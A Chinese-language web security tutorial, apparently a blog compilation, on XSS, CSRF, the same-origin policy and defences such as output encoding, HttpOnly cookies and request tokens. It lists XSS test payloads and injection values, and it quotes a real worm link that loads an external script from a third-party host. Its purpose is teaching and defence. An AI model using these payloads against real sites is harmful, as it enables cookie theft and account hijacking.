XSS:跨站脚本(Cross-site scripting)
CSRF:跨站请求伪造(Cross-site request forgery)定义:
跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击),为了与层叠样式表(Cascading Style Sheets)区分,故命名为XSS
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS成因概括 :
XSS其实就是
Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,数据流程如下:攻击者的
Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。
检测方法:
//通常有一些方式可以测试网站是否有正确处理特殊字符:
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" οnerrοr="alert('XSS')">
<div style="height:expression(alert('XSS'),1)" />(这个仅限 IE 有效)
攻击手段和目的:
攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行架设一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。
a. 盗用 cookie ,获取敏感信息。
b.利用植入 Flash ,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
c.利用 iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
d.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
e.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
漏洞的防御和利用:
避免XSS的方法之一主要是将用户所提供的内容进行过滤,许多语言都有提供对HTML的过滤:
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。
使用HTTP头指定类型:
很多时候可以使用HTTP头指定内容的类型,使得输出的内容避免被作为HTML解析。如在PHP语言中使用以下代码:
header('Content-Type: text/javascript; charset=utf-8');
即可强行指定输出内容为文本/JavaScript脚本(顺便指定了内容编码),而非可以引发攻击的HTML。
CSRF:冒充用户之手:
XSS:跨站脚本(Cross-site scripting)
CSRF:跨站请求伪造(Cross-site request forgery)
示意图:
图片引用来源:http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
请求令牌(一种简单有效的防御方法):
首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,处理完成后清理session中的值,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份
令牌来防止 CSRF 有以下几点要注意:
a.虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
b.在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
c.第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
d.无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到
如下也列出一些据说能有效防范 CSRF,其实效果甚微或甚至无效的做法:
a.通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
b.过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。
c.在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。 作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了
----------------------------------------------------------------------------------------------
客户端(浏览器)安全
同源策略(Same Origin Policy)
同源策略阻止从一个源加载的文档或脚本获取或设置另一个源加载的文档的属性。
如:
不能通过Ajax获取另一个源的数据;
JavaScript不能访问页面中iframe加载的跨域资源。
对 http://store.company.com/dir/page.html 同源检测
跨域限制
- 浏览器中,script、img、iframe、link等标签,可以跨域引用或加载资源。
- 不同于 XMLHttpRequest,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
- XMLHttpRequest 也受到也同源策略的约束,不能跨域访问资源。
JSONP
为了解决 XMLHttpRequest 同源策略的局限性,JSONP出现了。
JSONP并不是一个官方的协议,它是利用script标签中src属性具有跨域加载资源的特性,而衍生出来的跨域数据访问方式。
CORS(Cross-Origin Resource Sharing)
CORS,即:
跨域资源共享。
这是W3C委员会制定的一个新标准,用于解决 XMLHttpRequest 不能跨域访问资源的问题。目前支持情况良好(特指移动端)。
XSS(Cross Site Script)
XSS(Cross Site Script) 即:
跨站脚本攻击。
本来缩写其应该是CSS,不过为了避免和CSS层叠样式表 (Cascading Style Sheets)重复,所以在安全领域叫做 XSS 。
XSS 分类
XSS 主要分为两种形态
- 反射型XSS(非持久型XSS)。需要诱惑用户去激活的XSS攻击,如:点击恶意链接。
- 存储型XSS。混杂有恶意代码的数据被存储在服务器端,当用户访问输出该数据的页面时,就会促发XSS攻击。具有很强的稳定性。
XSS Payload
XSS Payload,是指那些用于完成各种具体功能的恶意脚本。
由于实现XSS攻击可以通过JavaScript、ActiveX控件、Flash插件、Java插件等技术手段实现,下面只讨论JavaScript的XSS Payload。
通过JavaScript实现的XSS Payload,一般有以下几种:
- Cookie劫持
- 构造请求
- XSS钓鱼
- CSS History Hack
Cookie劫持
由于Cookie中,往往会存储着一些用户安全级别较高的信息,如:用户的登陆凭证。
当用户所访问的网站被注入恶意代码,它只需通过
document.cookie 这句简单的JavaScript代码,就可以顺利获取到用户当前访问网站的cookies。
如果攻击者能获取到用户登陆凭证的Cookie,甚至可以绕开登陆流程,直接设置这个cookie的值,来访问用户的账号。
构造请求
JavaScript 可以通过多种方式向服务器发送GET与POST请求。
网站的数据访问和操作,基本上都是通过向服务器发送请求而实现的。
如果让恶意代码顺利模拟用户操作,向服务器发送有效请求,将对用户造成重大损失。
例如:更改用户资料、删除用户信息等...
XSS钓鱼
关于网站钓鱼,详细大家应该也不陌生了。
就是伪造一个高度相似的网站,欺骗用户在钓鱼网站上面填写账号密码或者进行交易。
而XSS钓鱼也是利用同样的原理。
注入页面的恶意代码,会弹出一个想死的弹窗,提示用户输入账号密码登陆。
当用户输入后点击发送,这些资料已经去到了攻击者的服务器上了。
如:
CSS History Hack
CSS History Hack是一个有意思的东西。它结合 浏览器历史记录 和 CSS的伪类:a:visited,通过遍历一个网址列表来获取其中<a>标签的颜色,就能知道用户访问过什么网站。
相关链接:
PS:目前最新版的Chrome、Firefox、Safari已经无效,Opera 和 IE8以下 还可以使用。
XSS Worm
XSS Worm,即XSS蠕虫,是一种具有自我传播能力的XSS攻击,杀伤力很大。
引发 XSS蠕虫 的条件比较高,需要在用户之间发生交互行为的页面,这样才能形成有效的传播。一般要同时结合 反射型XSS 和 存储型XSS 。
案例:Samy Worm、新浪微博XSS攻击
新浪微博XSS攻击
这张图,其实已经是XSS蠕虫传播阶段的截图了。
攻击者要让XSS蠕虫成功被激活,应该是通过 私信 或者 @微博 的方式,诱惑一些微博大号上当。
当这些大号中有人点击了攻击链接后,XSS蠕虫就被激活,开始传播了。
这个XSS的漏洞,其实就是没有对地址中的变量进行过滤。
把上一页的链接decode了之后,我们就可以很容易的看出,这个链接的猫腻在哪里。
链接上带的变量,直接输出页面,导致外部JavaScript代码成功注入。
传播链接:http://weibo.com/pub/star/g/xyyyd
%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
把链接decode之后:http://weibo.com/pub/star/g/xyyyd
"><script src=//www.2kt.cn/images/t.js></script>?type=update
相关XSS代码这里就不贴了,Google一下就有。
其实也要感谢攻击者只是恶作剧了一下,让用户没有造成实际的损失。
网上也有人提到,如果这个漏洞结合XSS钓鱼,再配合隐性传播,那样杀伤力会更大。
XSS 防御技巧
HttpOnly
服务器端在设置安全级别高的Cookie时,带上HttpOnly的属性,就能防止JavaScript获取。
PHP设置HttpOnly:
1 <?
2 header("Set-Cookie: a=1;", false);
3 header("Set-Cookie: b=1;httponly", false);
4 setcookie("c", "1", NULL, NULL, NULL, NULL, ture);
PS:手机上的QQ浏览器4.0,居然不支持httponly,而3.7的版本却没问题。测试平台是安卓4.0版本。
估计是一个低级的bug,已经向QQ浏览器那边反映了情。
截止时间:2013-01-28
输入检查
任何用户输入的数据,都是“不可信”的。
输入检查,一般是用于输入格式检查,例如:邮箱、电话号码、用户名这些...
都要按照规定的格式输入:电话号码必须纯是数字和规定长度;用户名除 中英文数字 外,仅允许输入几个安全的符号。
输入过滤不能完全交由前端负责,前端的输入过滤只是为了避免普通用户的错误输入,减轻服务器的负担。
因为攻击者完全可以绕过正常输入流程,直接利用相关接口向服务器发送设置。
所以,前端和后端要做相同的过滤检查。
输出检查
相比输入检查,前端更适合做输出检查。
可以看到,HttpOnly和前端没直接关系,输入检查的关键点也不在于前端。
那XSS的防御就和前端没关系了?
当然不是,随着移动端web开发发展起来了,Ajax的使用越来越普遍,越来越多的操作都交给前端来处理。
前端也需要做好XSS防御。
JavaScript直接通过Ajax向服务器请求数据,接口把数据以JSON格式返回。前端整合处理数据后,输出页面。
所以,前端的XSS防御点,在于输出检查。
但也要结合
XSS可能发生的场景。
XSS注意场景
在HTML标签中输出
如:<a href=# >{$var}</a>
风险:{$var} 为 <img src=# οnerrοr="/xss/" />
在HTML属性中输出
如:<div data-num="{$var}"></div>
风险:{$var} 为
" οnclick="/xss/
防御手段:变量HtmlEncode后输出
在<script>标签中输出
如:<script>var num = {$var};</script>
风险:{$var} 为
1; alert(/xss/)
防御手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。
在事件中输出
如:<span οnclick="fun({$var})">hello!click me!</span>
风险:{$var} 为
); alert(/xss/); //
防御手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。
在CSS中输出
一般来说,尽量禁止用户可控制的变量在<style>标签和style属性中输出。
在地址中输出
如:<a href="http://3g.cn/?test={$var}">
风险:{$var} 为
" οnclick="alert(/xss/)
防御手段:对URL中除 协议(Protocal) 和 主机(Host) 外进行URLEncode。如果整个链接都由变量输出,则需要判断是不是http开头。
HtmlEncode
对下列字符实现编码
& ——》 &
< ——》 <
> ——》 >
" ——》 "
' ——》 ' (IE不支持')
/ ——》 /
JavaScriptEncode
对下列字符加上反斜杠
" ——》 \"
' ——》 \'
\ ——》 \\
\n ——》 \\n
\r ——》 \\r (Windows下的换行符)
例子: "\\".replace(/\\/g, "\\\\"); //return \\
URLEncode
使用以下JS原生方法进行URI编码和解码:
- encodeURI
- decodeURI
- decodeURIComponent
- encodeURIComponent
CSRF(Cross-site request forgery)
网站A :为恶意网站。
网站B :用户已登录的网站。
当用户访问 A站 时,A站 私自访问 B站 的操作链接,模拟用户操作。
假设B站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723
A站 直接访问该链接,就能删除用户在 B站 的评论。
CSRF 的攻击策略
因为浏览器访问 B站 相关链接时,会向其服务器发送 B站 保存在本地的Cookie,以判断用户是否登陆。所以通过 A站 访问的链接,也能顺利执行。
验证码
几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF的攻击。
验证码算是对抗CSRF攻击最简洁有效的方法。
但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码。
只有一些关键的操作,才能要求输入验证码。
不过随着HTML5的发展。
利用canvas标签,前端也能识别验证码的字符,让CSRF生效。
Referer Check
Referer Check即来源检测。
HTTP Referer 是 Request Headers 的一部分,当浏览器向web服务器发出请求的时候,一般会带上Referer,告诉服务器用户从哪个站点链接过来的。
服务器通过判断请求头中的referer,也能避免CSRF的攻击。
Token
CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。
既然知道根本原因,我们就对症下药,利用
Token。
当向服务器传参数时,带上Token。这个Token是一个
随机值,并且由
服务器和用户同时持有。
Token可以存放在用户浏览器的Cookie中,
当用户提交表单时带上Token值,服务器就能验证表单和Cookie中的Token是否一致。
(前提,网站没有XSS漏洞,攻击者不能通过脚本获取用户的Cookie)